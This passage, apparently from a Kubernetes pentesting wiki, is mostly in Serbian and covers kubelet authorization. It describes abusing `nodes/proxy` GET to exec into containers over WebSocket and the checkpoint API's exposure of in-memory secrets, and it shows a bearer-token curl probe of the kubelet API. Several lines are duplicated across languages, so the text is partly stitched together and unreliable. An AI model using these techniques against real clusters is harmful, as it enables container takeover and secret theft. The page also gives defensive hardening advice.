> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
> WebSocket-based `/exec`, `/run`, `/attach`, i `/portforward` spadaju u podrazumevani **proxy** subresource i autorizuju se pomoću početnog HTTP **GET** handshake-a. Principal sa samo `nodes/proxy` **GET** i dalje može da izvršava komande u containerima ako se direktno poveže na `https://<node_ip>:10250` preko WebSockets. Vidi [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) za detalje.
Na primer, sledeći zahtev je pokušao da pristupi informacijama o pods kubeleta bez dozvole:
kubelet Checkpoint API (`POST /checkpoint/<namespace>/<pod>/<container>`) je još jedna osetljiva kubelet površina. Kubernetes v1.30 je container checkpointing učinio beta i omogućio ga podrazumevano, ali zahtev i dalje zavisi od kubelet autorizacije i runtime podrške kao što su CRI-O ili containerd sa checkpoint/CRIU capability. Uspešni checkpoints se upisuju ispod kubelet root direktorijuma, podrazumevano `/var/lib/kubelet/checkpoints`, i mogu sadržati process memory sa tokenima, key-evima, ili application secrets. Ograniči `nodes/checkpoint`, onemogući stari read-only port, ograniči direktnu kubelet network dostupnost, i nadgledaj ili očisti checkpoint archive-ove ako se feature namerno koristi.
Na primer, sledeći zahtev je pokušao da pristupi pods info kubelet-a bez dozvole:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Dobili smo **Forbidden**, dakle zahtev je **passed the Authentication check**. Da nije tako, dobili bismo samo `Unauthorised` poruku.
- Možemo videti **username** (u ovom slučaju iz tokena)
- Pogledajte kako je **resource** bio **nodes** i **subresource** **proxy** (što je u skladu sa prethodnim informacijama)
- Dobili smo **Forbidden**, tako da je zahtev **prošao Authentication proveru**. Da nije, dobili bismo samo `Unauthorised` poruku.
- Možemo da vidimo **username** (u ovom slučaju iz tokena)
- Proverite kako je **resource** bio **nodes** i **subresource** **proxy** (što ima smisla uz prethodne informacije)
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/](https://kubernetes.io/docs/reference/node/kubelet-checkpoint-api/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}